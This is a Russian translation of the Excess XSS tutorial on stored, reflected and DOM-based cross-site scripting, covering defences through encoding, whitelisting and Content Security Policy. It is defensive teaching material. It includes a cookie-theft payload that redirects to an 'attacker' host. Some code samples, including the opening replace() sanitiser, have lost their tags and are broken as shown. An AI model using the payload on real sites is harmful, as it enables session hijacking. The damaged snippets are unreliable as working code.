    Универсальный способ предотвращения XSSатак заключается в удалении HTML тегов из всех данных сомнительного происхождения, прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту проблему в показанном ранее файле greet.html, нужно добавить следующую строку в сценарий, которая призвана удалять угловые скобки, окружающие тег :

    Name = name.replace(//g, ">");

    Межсайтовый скриптинг представляет собой уязвимость, глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глубину этой уязвимости.

    И является комплексным учебником по межсайтовому скриптингу.

    Часть первая: Обзор Что такое XSS?

    Межсайтовый скриптинг (англ. Cross-site scripting ) — это атака нацеленная на внедрение кода, позволяющая злоумышленнику выполнить вредоносный JavaScript в браузере другого пользователя.

    Злоумышленник не атакует свою жертву напрямую. Вместо этого он использует уязвимость веб-сайта который посещает жертва и внедряет вредоносный JavaScript код. В браузере жертвы вредоносный JavaScript отображается как легитимная часть веб-сайта, а сам веб-сайт выступает в качестве непосредственного соучастника атакующего.

    Внедрение вредоносного JavaScript-кода

    Единственный способ для атакующего запустить вредоносный JavaScript в браузере жертвы — это внедрить его в одну из страниц, которую загружает жертва с веб-сайта. Это возможно, если веб-сайт позволяет пользователям вводить данные на своих страницах, а атакующий сможет вставить строку, которая будет определятся как часть кода в браузере жертвы.

    В приведенном ниже примере показан простой серверный скрипт, который используется для отображения последнего комментария на сайте:

    print ""
    print "Последний комментарий:"
    print database.latestComment
    print ""

    Скрипт предполагает, что комментарий состоит только из текста. Однако, так как включен непосредственный пользовательский ввод, злоумышленник может оставить этот комментарий: "..." . Любой пользователь, посетивший страницу, теперь будет получать следующий ответ:


    Последний комментарий:
    ...

    Когда браузер пользователя загружает страницу, он будет выполнять все, в том числе JavaScript-код, содержащийся внутри тегов . Атакующий успешно провел атаку.

    Что такое вредоносный JavaScript?

    Возможность выполнения JavaScript в браузере жертвы может показаться не особенно вредоносной. JavaScript работает в очень ограниченной среде, которая имеет крайне ограниченный доступ к файлам пользователя и операционной системы. На самом деле, вы можете открыть консоль JavaScript в своем браузере прямо сейчас и выполнить любой JavaScript который хотите, и очень маловероятно, что вы сможете причинить какой-либо вред вашему компьютеру.

    Тем не менее, возможности JavaScript-кода в качестве вредоносного становятся более понятными, если учесть следующие факты:

    • JavaScript имеет доступ к некоторой конфиденциальной информации пользователя, например куки (cookies).
    • JavaScript может отправлять HTTP-запросы с произвольным содержанием в произвольном направлении, используя XMLHttpRequest и другие механизмы.
    • JavaScript может делать произвольные изменения в HTML-коде текущей страницы с помощью методов манипулирования DOM.

    В случае комбинирования эти факты могут вызвать очень серьезные нарушения правил безопасности, подробности будут далее.

    Последствия вредоносного JavaScript-кода

    Кроме этого, возможность выполнить произвольный JavaScript в браузере другого пользователя позволяет злоумышленнику осуществить следующие типы атак:

    Кража куки

    злоумышленник может получить доступ к куки-записям жертвы, связанным с веб-сайтом, используя document.cookie , отправить их на свой собственный сервер и использовать их для извлечения конфиденциальной информации, такой как идентификаторы сеансов.

    Кейлоггер

    злоумышленник может зарегистрировать слушателя событий клавиатуры, используя addEventListener , а затем отправить все нажатия клавиш пользователя на свой сервер, потенциально записав конфиденциальную информацию, например, пароли и номера кредитных карт.

    Фишинг

    злоумышленник может вставить поддельную форму для входа на страницу, используя манипуляции DOM, установив action атрибуты формы на свой собственный сервер, а затем обмануть пользователя для получения конфиденциальной информации.

    Хотя эти атаки существенно различаются, все они имеют одно существенное сходство: так как злоумышленник внедряет код на страницу обслуживаемую сайтом, вредоносный JavaScript выполняется в контексте этого веб-сайта. Это означает, что он рассматривается как любой другой сценарий с этого сайта: он имеет доступ к данным жертвы для этого веб-сайта (например куки-записи) и имя хоста отображаемое в строке URL будет то же, что и у веб-сайта. Для всех целей сценарий считается законной частью веб-сайта, что позволяет ему делать всё, что может делать сам веб-сайт.

    Этот факт подчеркивает ключевую проблему:

    Если злоумышленник может использовать ваш веб-сайт, для выполнения произвольного JavaScript-кода в браузере других пользователей, безопасность вашего веб-сайта и его пользователей скомпрометирована.

    Чтобы подчеркнуть этот момент, некоторые примеры вредоносного скрипта в этом учебнике будут оставаться без подробностей, используя ... . Это свидетельствует о том, что простое присутствие скрипта, внедряемого атакующим является проблемой, независимо от того, какой конкретный код сценария на самом деле выполняется.

    Часть вторая: XSS-атака Участники XSS-атаки

    Перед тем, как подробно описать как работает атака XSS, нам необходимо определить субъектов участвующих в атаке XSS. В общем, в атаке XSS присутствует три участника: веб-сайт , жертва , и взломщик .

    • Веб-сайт выдает HTML-страницы для пользователей запросивших их. В наших примерах он находится по адресу http://website/ .
      • База данных веб-сайта является базой данных, которая хранит некоторые введенные пользователями данные на страницах сайта.
    • Жертва — это обычный пользователь веб-сайта, который запрашивает страницы у него с помощью своего браузера.
    • Атакующий — это злоумышленник, который намеревается начать атаку на жертву за счет использования XSS-уязвимости на сайте.
      • Сервер взломщика — это веб-сервер под контролем злоумышленника с единственной целью — кража конфиденциальной информации жертвы. В наших примерах, он находится по адресу http://attacker/ .
    Пример сценария атаки


    window.location="http://attacker/?cookie="+document.cookie

    Этот скрипт создаст HTTP-запрос на другой URL-адрес, который перенаправит браузер пользователя на сервер атакующего. URL-адрес включает в себя куки жертвы в качестве параметра запроса, когда HTTP-запрос приходит на сервер атакующего, злоумышленник может извлечь эти куки из запроса. После того, как злоумышленник получил куки, — он может использовать их, чтобы выдать себя за жертву и начать последующее нападение.

    С этого момента, показанный выше HTML код будет называться вредоносной строкой или вредоносным скриптом . Важно понимать, что сама строка является вредоносной только если она, в конечном счете, обрабатывается как HTML-код в браузере жертвы, а это может произойти только в случае наличия XSS-уязвимости на веб-сайте.

    Как работает этот пример атаки

    На схеме ниже показан пример выполнения атаки злоумышленником:

  • Атакующий использует одну из форм веб-сайта для того, чтобы вставить вредоносную строку в базу данных веб-сайта.
  • Жертва запрашивает страницу с веб-сайта.
  • Сайт включает вредоносную строку из базы данных в ответ и отправляет его к жертве.
  • Браузер жертвы выполняет вредоносный сценарий внутри ответа, отправляя куки жертвы на сервер злоумышленника.
    • Типы XSS

    Цель XSS-атаки всегда заключается в выполнении вредоносного JavaScript скрипта в браузере жертвы. Существует несколько принципиально различных способов достижения этой цели. XSS-атаки часто подразделяются на три типа:

    • Хранимые (постоянные) XSS , где вредоносная строка берет свое начало из базы данных веб-сайта.
    • Отражённые (непостоянные) XSS , где вредоносная строка порождается из запроса жертвы.
    • DOM-модели XSS , где уязвимость возникает в коде на стороне клиента, а не на стороне серверного кода.

    В предыдущем примере показана хранимая XSS-атака. Теперь мы опишем два других типа XSS-атак: отраженный XSS и XSS-атака DOM-модели.

    Отражённый XSS

    В случае отраженной XSS-атаки вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю. Схема ниже иллюстрирует этот сценарий:

  • Жертва обманным путем атакующего отправляет URL-запрос на веб-сайт.
  • Сайт включает вредоносную строку из URL-запроса в ответ жертве.
  • Браузер жертвы выполняет вредоносный сценарий, содержащийся в ответе, посылая куки жертвы на сервер злоумышленника.

    • Как успешно провести отраженную XSS-атаку?

    Отраженная XSS-атака может показаться безобидной, поскольку она требует чтобы жертва от своего имени отправила запрос, содержащий вредоносную строку. Так как никто не будет добровольно атаковать себя, то кажется, что не существует способа фактического выполнения атаки.

    Как выясняется, есть по крайней мере два распространенных способа заставить жертву начать отраженную XSS-атаку против себя:

    • Если пользователь является конкретной личностью, злоумышленник может отправить вредоносную URL-ссылку жертве (например с помощью электронной почты или мессенджера), и обманом заставить его открыть ссылку для посещения веб-сайта.
    • Если цель — это большая группа пользователей, злоумышленник может опубликовать ссылку на вредоносный URL (например на своем собственном веб-сайте или в социальной сети) и ждать посетителей которые перейдут по ссылке.

    Оба эти метода похожи, и оба они могут быть более успешными с использованием служб позволяющих «укоротить» URL-адрес, они замаскируют вредоносную строку от пользователей, которые могли бы идентифицировать ее.

    XSS в DOM-модели

    XSS в DOM-модели представляет собой вариант как хранимой и отраженной XSS-атаки. В этой XSS-атаке вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится. Схема ниже иллюстрирует этот сценарий для отраженной XSS-атаки:

  • Атакующий создает URL-адрес, содержащий вредоносную строку, и отправляет его жертве.
  • Жертва обманным путем атакующего отправляет URL-запрос к веб-сайту.
  • Сайт принимает запрос, но не включает в ответ вредоносную строку.
  • Браузер жертвы выполняет легитимный сценарий, содержащийся в ответе, в результате чего вредоносный скрипт будет вставлен в страницу.
  • Браузер жертвы выполняет вредоносный скрипт, вставленный в страницу, посылая куки жертвы на сервер злоумышленника.
    • В чем отличие XSS в DOM-модели?

    В предыдущих примерах хранимых и отраженных XSS-атак сервер вставляет вредоносный скрипт на страницу, которая затем пересылается в ответе к жертве. Когда браузер жертвы получил ответ, он предполагает, что вредоносный скрипт является частью легитимного содержания страницы, и автоматически выполняет его во время загрузки страницы, как и любой другой сценарий.

    В примере XSS-атаки в DOM-модели вредоносный скрипт не вставляется как часть страницы; единственный скрипт, который автоматически выполняется во время загрузки страницы является легитимной частью страницы. Проблема заключается в том, что этот легитимный сценарий напрямую использует пользовательский ввод для того, чтобы добавить HTML на страницу. Поскольку вредоносная строка вставляется в страницу с помощью innerHTML , она анализируется как HTML, в результате чего вредоносный скрипт будет выполняться.

    Это различие небольшое, но очень важное:

    • В традиционном XSS вредоносный JavaScript выполняется при загрузке страницы, как часть HTML, отправленного сервером.
    • В случае XSS в DOM-модели вредоносный JavaScript выполняется после загрузки страницы, в результате эта страница с легитимным JavaScript обращается небезопасным способом к пользовательскому вводу (содержащему вредоносную строку).
    Как работает XSS в DOM-модели?

    В предыдущем примере нет необходимости в JavaScript; сервер может генерировать все HTML сам по себе. Если код на стороне сервера не содержал бы уязвимостей, веб-сайт не был бы подвержен уязвимости XSS.

    Однако, так как веб-приложения становятся более продвинутыми, все большее количество HTML-страниц генерируется с помощью JavaScript на стороне клиента, а не на сервере. В любое время контент должен изменятся без обновления всей страницы, это возможно с использованием JavaScript. В частности, это тот случай, когда страница обновляется после AJAX запроса.

    Это означает, что XSS уязвимости могут присутствовать не только в серверной части кода вашего сайта, но и на стороне JavaScript-кода клиента вашего сайта. Следовательно, даже при полностью безопасном коде на стороне сервера, — клиентский код может все еще не безопасно включать ввод пользовательских данных при обновлении DOM после загрузки страницы. Если это произойдет, то код со стороны клиента позволит провести XSS-атаку не по вине кода со стороны сервера.

    XSS на основе DOM-модели может быть невидим для сервера

    Существует особый случай XSS-атаки в DOM-модели, в котором вредоносная строка никогда не отправляется на сервер веб-сайта: это происходит тогда, когда вредоносная строка содержится в фрагменте идентификатора URL-адреса (что-либо после символа #). Браузеры не отправляют эту часть URL-адреса на сервер, так что веб-сайт не имеет доступа к нему с помощью кода на стороне сервера. Код со стороны клиента, однако, имеет доступ к нему, и, таким образом, возможно проведение XSS-атаки путем небезопасной обработки.

    Этот случай не ограничивается идентификатором фрагмента. Существует и другой пользовательский ввод, который является невидимым для сервера, например, новые функции HTML5, такие как LocalStorage и IndexedDB.

    Часть третья:
    Предотвращение XSS Методы предотвращения XSS

    Напомним, что XSS является атакой типа внедрения кода: введенные данные пользователем ошибочно интерпретируются как вредоносный программный код. Для того, чтобы не допустить этого типа инъекции кода, требуется безопасная обработка ввода. Для веб-разработчика, существует два принципиально различных способа выполнения безопасной обработки ввода:

    • Кодирование - это способ который позволяет произвести ввод данных пользователем только как данные и не позволяет браузеру обработку как кода.
    • Валидация - это способ фильтрует пользовательский ввод так, что браузер интерпретирует его как код без вредоносных команд.

    Хотя это принципиально разные методы предотвращения XSS, они имеют несколько общих черт, которые являются важными для понимания при использовании любого из них:

    Контекст Безопасная обработка ввода должна быть выполнена по-разному в зависимости от того, где на странице используется пользовательский ввод. входящий/исходящий Безопасная обработка ввода может быть выполнена либо, когда ваш сайт получает входные данные (входящий трафик) или прямо перед тем, как сайт вставляет пользовательский ввод в содержимое страницы (исходящий). Клиент/Сервер Безопасная обработка ввода может быть выполнена либо на стороне клиента, либо на стороне сервера, каждый вариант необходим при различных обстоятельствах.

    Прежде чем объяснять в деталях как работает кодирование и валидация мы опишем каждый из этих пунктов.

    Обработка пользовательского ввода в контекстах

    Есть много контекстов на веб-странице, где может быть применен пользовательский ввод. Для каждого из них должны быть соблюдены особые правила для того, чтобы пользовательский ввод не мог «вырваться» из своего контекста и не мог быть интерпретирован как вредоносный код. Ниже приведены наиболее распространенные контексты:

    Какое значение имеют контексты?

    Во всех описанных контекстах уязвимость приводящая к XSS может возникнуть если вводимые пользователем данные были вставлены до первого кодирования или валидации. Злоумышленник может внедрить вредоносный код просто вставив закрывающий разделитель для этого контекста и следом за ним вредоносный код.

    Например, если в какой-то момент веб-сайт включает ввод данных пользователем непосредственно в атрибут HTML, злоумышленник сможет внедрить вредоносный сценарий, начав свой ввод с кавычки, как показано ниже:

    Это можно было бы предотвратить, просто удалив все кавычки в пользовательском вводе, и все было бы хорошо, но только в этом контексте. Если же ввод был вставлен в другой контекст, закрывающий разделитель будет отличаться и инъекция станет возможной. По этой причине, безопасная обработка ввода всегда должна быть адаптирована к контексту, где будет вставлен пользовательский ввод.

    Обработка входящего/исходящего пользовательского ввода

    Инстинктивно, может показаться, что XSS можно предотвратить с помощью кодирования или валидации всего пользовательского ввода, как только наш сайт получает его. Таким образом, любые вредоносные строки уже будут нейтрализованы всякий раз, когда они будут включатся в страницу, и скриптам генерации HTML не придется заботиться о безопасной обработке пользовательского ввода.

    Проблема состоит в том, что как было описано ранее, вводимые пользователем данные могут быть вставлены в несколько контекстов на странице. И нет простого способа определить, когда пользовательский ввод приходит в контекст — как он в конечном итоге будет вставлен, и тот же пользовательский ввод часто должен быть вставлен в различных контекстах. Опираясь на обработку входящего ввода для предотвращения XSS, мы создаем очень хрупкое решение, которое будет подвержено ошибкам. (Устаревшие «волшебные кавычки » PHP являются примером такого решения.)

    Вместо этого, обработка исходящего ввода должна быть вашей основной линией защиты от XSS, потому что он может принимать во внимание конкретный контекст, какие вводимые пользователем данные будут вставлены. В какой то степени, входящую валидацию можно использовать для добавления вторичного слоя защиты, но об этом позже.

    Где возможно выполнять безопасную обработку пользовательского ввода

    В большинстве современных веб-приложений, пользовательский ввод обрабатывается как на стороне серверного кода, так и на стороне кода клиента. В целях защиты от всех типов XSS, безопасная обработка ввода должна быть выполнена как в коде на стороне сервера, так и на стороне кода клиента.

    • В целях защиты от традиционных XSS, безопасная обработка ввода должна быть выполнена в коде на стороне сервера. Это делается с помощью какого-либо языка, поддерживаемого сервером.
    • В целях защиты от XSS-атаки в DOM-модели, где сервер никогда не получает вредоносную строку (например, описанная ранее атака через фрагмент идентификатора), безопасная обработка ввода должна быть выполнена в коде на стороне клиента. Это делается с помощью JavaScript.

    Теперь, когда мы объяснили, почему контекст имеет значение, почему различие между входящей и исходящей обработкой ввода имеет важное значение, и почему безопасная обработка ввода должна быть выполнена с обеих сторон, и на стороне клиента и на стороне сервера, мы можем продолжить чтобы объяснить, каким образом два типа безопасной обработки ввода (кодирование и валидация) выполняются фактически.

    Кодирование

    Кодирование является способом выхода из ситуации когда необходимо что бы пользовательский ввод данных браузер интерпретировал только как данные, а не код. Самый популярный тип кодирования в веб-разработке, это маскирование HTML, который преобразует символы, такие как < и > в < и > соответственно.

    Следующий псевдокод является примером того, как вводимые пользователем данные (пользовательский ввод) могут быть закодированы с использованием HTML маскирования и затем вставлены в страницу с помощью серверного сценария:

    print ""
    print "Последний комментарий: "
    print encodeHtml(userInput)
    print ""

    Если пользователь введет следующую строку ... , результирующий HTML будет выглядеть следующим образом:


    Последний комментарий:
    ...

    Потому что все символы со специальным значением были замаскированны, браузер не будет разбирать какую-либо часть пользовательского ввода, как HTML.

    Кодирование кода на стороне клиента и сервера

    При выполнении кодирования кода со стороны клиента, всегда используется язык JavaScript, который имеет встроенные функции которые кодируют данные для разных контекстов.

    При выполнении кодирования в вашем коде на стороне сервера, вы полагаетесь на функции доступные в вашем языке или фреймворке. Из-за большого количества языков и доступных фреймворков, данное учебное пособие не будет охватывать детали кодирования в каком-либо конкретном языке сервера или фреймворка. Тем не менее функции кодирования JavaScript используемые на стороне клиента также используются при написании кода на стороне сервера.

    Кодирование на стороне клиента

    При кодировании пользовательского ввода на стороне клиента с помощью JavaScript есть несколько встроенных методов и свойств, которые автоматически кодируют все данные в контекстно-зависимый стиль:

    Последний контекст уже упоминавшийся выше (значения в JavaScript) не входит в этот список, потому что JavaScript не предоставляет встроенный способ кодирования данных, который будет включен в исходный код JavaScript.

    Ограничения кодирования

    Даже при кодировании возможно использование злонамеренных строк в некоторых контекстах. Ярким примером этого является то, когда пользовательский ввод используется для предоставления URL-адреса, например, в приведенном ниже примере:

    document.querySelector("a").href = userInput

    Хотя указанное значение в свойстве элемента href автоматически кодирует его так, что он становится не более, чем значение атрибута, это само по себе не мешает злоумышленнику вставить URL, начинающийся с « javascript: «. При щелчке по ссылке, независимо от построения, встроенный JavaScript внутри URL будет выполнен.

    Кодирование также не эффективное решение, когда вы хотите чтобы пользователи могли использовать часть HTML-кодов на странице. Примером может служить страница профиля пользователя, где пользователь может использовать пользовательский HTML. Если этот обычный HTML будет закодирован, страница профиля сможет состоять только из простого текста.

    В подобных ситуациях, кодирование должно быть дополнено валидацией, с которой мы познакомимся далее.

    Валидация

    Валидация является актом фильтрации пользовательского ввода таким образом, чтобы все вредоносные его части были удалены, без необходимости удаления всего кода в нем. Один из самых используемых видов проверки в веб-разработке позволяет использовать некоторые HTML-элементы (например, и ) но запретив другие (например, ).

    Существуют две основные характерные проверки, которые различаются своими реализациями:

    Стратегия классификации Пользовательский ввод может быть классифицирован с использованием черных либо и белых списков. Результат валидации Пользовательский ввод идентифицированный как вредоносный может быть отклонен или продезинфицирован.

    Стратегия классификации Черный список

    Инстинктивно, представляется целесообразным выполнить проверку путем определения запрещенного шаблона, который не должен появляться в пользовательском вводе. Если строка соответствует этому шаблону, она помечается как недействительная. Например позволить пользователям отправлять пользовательские URL-адреса с любым протоколом, за исключением javascript: . Эта стратегия классификации называется черный список .

    Тем не менее, черный список имеет два основных недостатка:

    Сложность точно описывать множество всех возможных вредоносных строк, как правило, очень сложная задача. Пример политики описанный выше, не может быть успешно реализован путем простого поиска по подстроке « javascript «, потому что ему будет не хватать строки вида « Javascript: » (где первая буква в верхнем регистре) и « javascript: » (где первая буква кодируется как числовая ссылка на символ). Устаривание Даже если идеальный черный список был бы разработан, он окажется бесполезным если новую функцию добавленную в браузер будет возможно использовать для атаки. Например, если черный список для валидации HTML был разработан до введения в HTML5 атрибута onmousewheel он (черный список) не сможет остановить злоумышленника который будет использовать этот атрибут для выполнения XSS-атаки. Этот недостаток особенно важен в веб-разработке, которая состоит из множества различных технологий, которые постоянно обновляются.

    Из-за этих недостатков черный список настоятельно не рекомендуется как стратегия классификации. Белый список, как правило, гораздо более безопасный подход, который мы опишем далее.

    Белый список

    Белый список по существу противоположен черному списку: вместо того, чтобы определять запрещенный шаблон, подход белого списка определяет разрешенный шаблон и отмечает ввод недействительным если он не соответствует этому шаблону.

    В отличие от черных списков, примером белых списков было бы разрешить пользователям отправлять пользовательские URL-адреса, содержащие только протоколы http: и https: , ничего более. Такой подход позволил бы автоматически пометить что URL-адрес является недействительным, если он содержит протокол javascript: , даже если он представлен как « Javascript: » или « javascript: «.

    По сравнению с черным списком у белых списков есть два основных преимущества:

    Простота Точно описывать набор безопасных строк, как правило, намного проще, чем идентифицировать набор всех вредоносных строк. Это особенно применимо в общих ситуациях, когда пользовательский ввод должен включать в себя очень ограниченный набор функциональных возможностей доступных в браузере. Например, белый список описанный выше очень просто позволяет использовать URL-адреса только с разрешенными протоколами http: или https: , и в большинстве ситуаций этого вполне достаточно для пользователей. Долговечность В отличие от черного списка, белый список, как правило, не становятся устаревшими, когда новая функция добавляется в браузер. Например, HTML валидация белым списком позволяет только title атрибутам HTML-элементов оставаться безопасными, даже если он (белый список) был разработан до введения onmousewheel атрибута HTML5.

    Результат валидации

    Когда пользовательский ввод был отмечен как недействительный (запрещенный), может быть принято одно из двух действий:

    Отклонение ввод просто отклоняется, предотвращая его использование в других местах на сайте. Дезинфекция все недействительные части вводимых данных удаляются, а оставшийся ввод используется на веб-сайте как обычно.

    Из этих двух, «отклонение» является самым простым подходом в реализации. Но считается, что дезинфекция является более полезной, поскольку она предоставляет более широкий диапазон ввода для пользователя. Например, если пользователь отправляет номер кредитной карты, дезинфекция удалит все символы не являющиеся символами и предотвратит инъекцию кода, а также позволяет пользователю ввести номер как содержащий дефисы, так и без них.

    Если вы решили реализовать дезинфекцию, необходимо убедиться в том, что сама процедура дезинфекции не использует подход чёрного списка. Например, URL-адрес « Javascript:... «, даже если идентифицирован с использованием белого списка как недействительный, получил бы в обход дезинфекции подпрограмму, которая просто удаляет все экземпляры « javascript: «. По этой причине, хорошо проверенные библиотеки и фреймворки по возможности должны использовать дезинфекцию.

    Какие методы использовать для профилактики?

    Кодирование должно быть вашей первой линией защиты от XSS-атак, его цель в обработке данных таким образом, что бы браузер не смог истолковать пользовательский ввод как код. В некоторых случаях кодирование должно быть дополнено валидацией. Кодирование и валидация должны применятся к исходящему трафику, потому что только тогда вы можете знать в каком контексте будет применен пользовательский ввод и какое кодирование и какую валидация необходимо применить.

    В качестве второй линии обороны вы должны применять на входящих данных дезинфекцию или отклонение явно недействительного пользовательского ввода, например, ссылок с помощью протокола javascript: . Это не может само по себе обеспечить полную безопасность, но это полезная мера предосторожности если в любой точке защиты кодированием и валидацией из-за неправильного выполнения возможна ошибка.

    Если эти две линии обороны используются последовательно, ваш сайт будет защищен от XSS атак. Однако из-за сложности создания и поддержания работы веб-сайта обеспечение полной защиты с использованием только безопасной обработки пользовательского ввода может быть затруднено. В качестве третьей линии обороны вы должны использовать Политики Безопасности Контента (англ. Content Security Policy ), далее CSP, которые мы опишем далее.

    Политики Безопасности Контента (CSP)

    Использовать только безопасную обработку пользовательского ввода для защиты от XSS-атак недостаточно, потому что даже одна ошибка безопасности может поставить под угрозу ваш веб-сайт. Применение из нового веб-стандарта Политик Безопасности Контента (CSP) может снизить этот риск.

    CSP используются для ограничения использования браузером веб-страницы таким образом, что он может использовать только ресурсы загруженные из надежных источников. А ресурсы представляют собой сценарии, таблицы стилей, изображения, или какие-либо другие типы файлов на которые есть ссылки на странице. Это означает, что даже если злоумышленнику удастся провести инъекцию вредоносного контента на вашем сайте, CSP сможет предотвратить его исполнение.

    CSP могут быть использованы для обеспечения соблюдения следующих правил:

    Запрет ненадежных источников внешние ресурсы могут быть загружены только из набора четко определенных надежных источников. Запрет встроенных ресурсов встроенный JavaScript и CSS не будут учитываться. Запрет eval запрет использования функции eval в JavaScript.

    CSP в действии

    В следующем примере, злоумышленнику удалось внедрение вредоносного кода в веб-страницу:


    Последний комментарий:

    При правильно определенной политике CSP, браузер не может загрузить и выполнить malicious‑script.js потому что http://attacker/ не указан как надежный источник. Даже несмотря на то, что сайту не удалось надежно обрабатывать пользовательский ввод данных в данном случае политика CSP предотвратила уязвимость и причинение какого-либо вреда.

    Даже если злоумышленник провел инъекцию кодом внутрь кода сценария, а не ссылкой на внешний файл, правильно настроенная политика CSP также запретит инъекцию в код JavaScript предотвратив уязвимость и причинение какого-либо вреда.

    Как включить CSP?

    По умолчанию, браузеры не используют CSP. Для того, что бы включить SCP на своем веб-сайте, страницы должны содержать дополнительный заголовок HTTP: Content‑Security‑Policy . Любая страница содержащая этот заголовок будет применять политики безопасности во время загрузки браузером, при условии что браузер поддерживает CSP.

    Поскольку политика безопасности отправляется с каждым HTTP-ответом, есть возможность на сервере индивидуально установить политику для каждой страницы. Та же политика может быть применена ко всему веб-сайт, вставляя один и тот же заголовок CSP в каждом ответе.

    Значение в заголовке Content‑Security‑Policy содержит строку, определяющую одну или несколько политик безопасности, которые будут работать на вашем сайте. Синтаксис этой строки будет описан далее.

    Примеры заголовков в этом разделе используют перенос строки и отступы для простоты восприятия; они не должны присутствовать в настоящем заголовке.

    Синтаксис CSP

    Синтаксис заголовка CSP выглядит следующим образом:

    Content‑Security‑Policy:
    directive source‑expression , source‑expression , ...;
    directive ...;
    ...

    Этот синтаксис состоит из двух элементов:

    • Директивы (directives) представляющие собой строки, указывающие тип ресурса, взятый из заданного списка.
    • Выражение источника (source expressions) является моделью, описывающей один или несколько серверов от куда могут быть загружены ресурсы.

    Для каждой директивы данные в выражении источника определяют какие источники можно использовать для загрузки ресурсов соответствующего типа.

    Директивы

    Следующие директивы могут быть использованы в заголовке CSP:

    • connect‑src
    • font‑src
    • frame‑src
    • img‑src
    • media‑src
    • object‑src
    • script‑src
    • style‑src

    В дополнение к этому, специальная директива default‑src может использоваться для того, чтобы обеспечить значение по умолчанию для всех директив, которые не были включены в заголовок.

    Выражение источника

    Синтаксис для создания выражения источника выглядит следующим образом:

    протокол:// имя‑хоста: номер‑порта

    Имя хоста может начинаться с * , это означает, что любой поддомен предоставленного имени хоста будет разрешен. Аналогично номер порта может быть представлен в виде * , это означает что все порты будут разрешены. Кроме того, протокол и номер порта могут быть пропущены. В случае если протокол не указан, политика будет требовать чтобы все ресурсы быть загружены с помощью HTTPS.

    В дополнение к указанному выше синтаксису, выражение источника может в качестве альтернативы быть одним из четырех ключевых слов со специальным значением (кавычки включены):

    "none" запрещает ресурсы. "self" разрешает ресурсы с хоста на котором находится веб-страница. "unsafe‑inline" разрешает ресурсы, содержащиеся на странице как встроенные элементы, элементы, и javascript: URL-адреса. "unsafe‑eval" разрешает JavaScript функцию eval .

    Обратите внимание, что всякий раз, когда используется CSP, встроенные ресурсы и eval по умолчанию автоматически запрещены. Использование "unsafe‑inline" и "unsafe‑eval" — единственный способ для их использования.

    Пример политики

    Content‑Security‑Policy:
    script‑src "self" scripts.example.com;
    media‑src "none";
    img‑src *;
    default‑src "self" http://*.example.com

    С этим примером политики веб-страница будет иметь следующие ограничения:

    • Скрипты могут быть загружены только с хоста на котором находится веб-страница и с этого адреса: scripts.example.com .
    • Аудио и видео файлы запрещены к загрузке.
    • Файлы изображений могут быть загружены с любого адреса.
    • Все остальные ресурсы могут быть загружены только с хоста на котором находится веб-страница и из любого поддомена example.com .
    Статус CSP

    На июнь 2013 года Политики Безопасности Контента рекомендуются консорциумом W3C . CSP реализуется разработчиками браузеров, но некоторые его части специфичны для разных браузеров. Например, использование HTTP-заголовка может отличаться между браузерами. Перед использованием CSP обратитесь к документации браузеров, которые вы собираетесь поддерживать.

    Резюме Резюме: Обзор XSS
    • XSS-атака представляет собой инъекцию кода, атака стала возможной благодаря незащищенной обработке пользовательского ввода.
    • Успешная XSS-атака позволяет злоумышленнику выполнить вредоносный JavaScript в браузере жертвы.
    • Успешная XSS-атака ставит под угрозу безопасность как веб-сайта, так и его пользователей.
    Резюме: XSS-атаки
    • Существуют три основных типа XSS-атак:
      • Хранимые XSS, где вредоносный ввод берет свое начало из базы данных веб-сайта.
      • Отраженные XSS, где вредоносный ввод берет свое начало от запроса жертвы.
      • XSS-атаки в DOM-модели, где уязвимость эксплуатируется в коде на стороне клиента, а не на стороне сервера.
    • Все эти атаки выполняются по-разному, но имеют один и тот же эффект в случае успеха.
    Резюме: Предотвращение XSS
    • Самый важный способ предотвращения XSS атак, это выполнение безопасной обработки ввода.
      • Кодирование должно выполняться всякий раз, когда включен пользовательский ввод на странице.
      • В некоторых случаях кодирование должно быть заменено или дополнено валидацией.
      • Безопасная обработка ввода должна учитывать в какой контекст страницы вставляется пользовательский ввод.
      • Для того, чтобы предотвратить все виды XSS-атак безопасная обработка ввода должна выполнятся в коде как на стороне клиента, так и на стороне сервера.
    • Политики Безопасности Контента (CSP) обеспечивают дополнительный уровень защиты в случае если безопасная обработка ввода содержит ошибку.
    Приложение Терминология

    Следует отметить, что существует перекрестие в терминологии используемой для описания XSS: XSS-атака в DOM-модели может быть либо хранимой либо отраженной; это не отдельные виды атак. Не существует общепринятой терминологии, которая охватывает все типы XSS без смешивания. Независимо от терминологии используемой для описания XSS, самое главное определить тип атаки, это возможно если знать от куда поступает вредоносный ввод и где находится уязвимость.

    Права использования и ссылки

    The source code for Excess XSS is available on GitHub .

    Excess XSS was created in 2013 as part of the Language-Based Security course at Chalmers University of Technology .

    Перевод на русский язык выполнил A888R , оригинальный текст на английском языке: excess-xss.com , замечания, предложения и ошибки в переводе слать сюда .